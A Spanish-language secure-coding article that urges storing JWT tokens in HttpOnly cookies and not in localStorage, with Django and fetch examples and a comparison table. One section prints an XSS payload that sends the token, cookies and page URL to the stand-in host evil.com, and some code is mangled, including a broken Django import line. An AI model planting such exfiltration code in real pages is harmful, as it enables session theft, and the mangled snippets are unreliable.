Deja de usar localStorage para los tokens de autenticación: un análisis en profundidad de la seguridad
Por qué almacenar los JWT en localStorage supone un riesgo de seguridad, cómo lo aprovechan los ataques XSS y cuál es la forma correcta de gestionar los tokens de autenticación en las aplicaciones web modernas.
El problema que todo el mundo ignora
Ve a cualquier tutorial de Next.js o React sobre la autenticación JWT. El 90 % de ellos te mostrará esto:
// NO HAGAS
ESTOconst login = async (credentials) => {
const res = await fetch('/api/auth/login', { ... });
const { access_token } = await res.json();
localStorage.setItem('token', access_token); // <-- VULNERABLE
};Se trata de una vulnerabilidad de tipo «Cross-Site Scripting» (XSS). Cualquier código JavaScript que se ejecute en tu página puede leer el localStorage. Si un atacante inyecta tan solo una línea de JavaScript (a través de un script de terceros, un ataque a la cadena de suministro de npm o una entrada de usuario sin escapar), podrá robar el token de autenticación de todos los usuarios.
Cómo el XSS roba los tokens de localStorage
Un atacante no necesita piratear tu servidor. Solo tiene que ejecutar JavaScript en tu página:
// Carga útil del atacante (inyectada a través del campo de comentarios, el script de un anuncio, etc.)
new Image().src = 'https://evil.com/steal?token='
+ localStorage.getItem('token');
// O bien se filtran a través de
fetchfetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify({
token: localStorage.getItem('token'),
cookies: document.cookie,
url: window.location.href
})
});Vectores comunes de XSS: uso sin escapar de `dangerouslySetInnerHTML`, paquetes de npm comprometidos, scripts de análisis o chat de terceros, y contenido generado por los usuarios que se muestra como HTML.
El enfoque correcto: las cookies HttpOnly
Guarda los tokens en cookies HttpOnly, Secure y SameSite. JavaScript no puede leer las cookies HttpOnly, ya que el navegador las envía automáticamente con cada solicitud.
# Backend de Django: establecer el token como una
cookie HttpOnly from django.import JsonResponse from
django. # backend de Django: establecer el token como cookie HttpOnly def login_view(request):
user = authenticate(request)
access_token = generate_jwt(user)
refresh_token = generate_refresh_token(user)
response = JsonResponse({'user': serialize(user)})
# HttpOnly: JavaScript no puede leerlo (seguro contra XSS)
# Secure: solo se envía a través de HTTPS
# SameSite=Lax: evita CSRF en la mayoría de las solicitudes
response.set_cookie(
'access_token', access_token,
httponly=True,
secure=True,
samesite='Lax',
max_age=15 * 60, # 15 minutos
path='/',
)
response.set_cookie(
'refresh_token', refresh_token,
httponly=True,
secure=True,
samesite='Lax',
max_age=7 * 24 * 60 * 60, # 7 días
path='/api/auth/refresh/', # solo se envía al punto final de actualización
)
return responseInterfaz de usuario: no es necesario gestionar tokens
Con las cookies HttpOnly, la interfaz de usuario no maneja los tokens en absoluto. El navegador se encarga de todo:
// Frontend: las cookies se envían
automáticamenteconst getProfile = async () => {
const res = await fetch('/api/profile/', {
credentials: 'include', // incluir cookies
});
return res.json();
};
// Sin localStorage, sin análisis de tokens, sin encabezados de
autenticación// El navegador envía la cookie HttpOnly automáticamenteComparación: localStorage frente a las cookies HttpOnly
| Vector de ataque | localStorage | Cookie HttpOnly |
|---|---|---|
| XSS (inyección de código) | Robo de un token | Seguro de tokens (JS no puede leerlo) |
| CSRF (solicitud entre sitios) | Seguro (no se envía automáticamente) | Protegido por SameSite=Lax |
| Ataque a la cadena de suministro de npm | Robo de un token | Caja fuerte para tokens |
| Acceso a la extensión del navegador | Token legible | Token oculto |
| Análisis de red | Si se envía en el encabezado: visible | Indicador de seguridad: solo HTTPS |
¿Y qué hay del CSRF?
El argumento más habitual a favor de localStorage es que «las cookies son vulnerables al CSRF». Esto era cierto hace diez años. Los navegadores modernos admiten SameSite=Lax, que impide que las solicitudes de origen cruzado envíen cookies. Si a esto le sumamos el middleware CSRF de Django para las solicitudes que modifican el estado, el CSRF queda prácticamente eliminado.
Para mayor seguridad, utiliza el patrón de cookies de doble envío: el servidor establece una cookie de token CSRF que no es «HttpOnly», la interfaz de usuario la lee y la envía como encabezado, y el servidor comprueba que coincidan.
En resumen
Si vas a implementar un sistema de autenticación en 2026, utiliza cookies HttpOnly. La superficie de ataque XSS de localStorage es demasiado amplia, sobre todo en las aplicaciones modernas, que cargan decenas de scripts de terceros. La seguridad de las sesiones de tus usuarios depende de ello.
La seguridad no es una característica que se añada a posteriori. La elección entre cookies de localStorage y HttpOnly marca la diferencia entre «nos han hackeado» y «se ha mitigado el ataque».
— Guía rápida de autenticación de OWASP
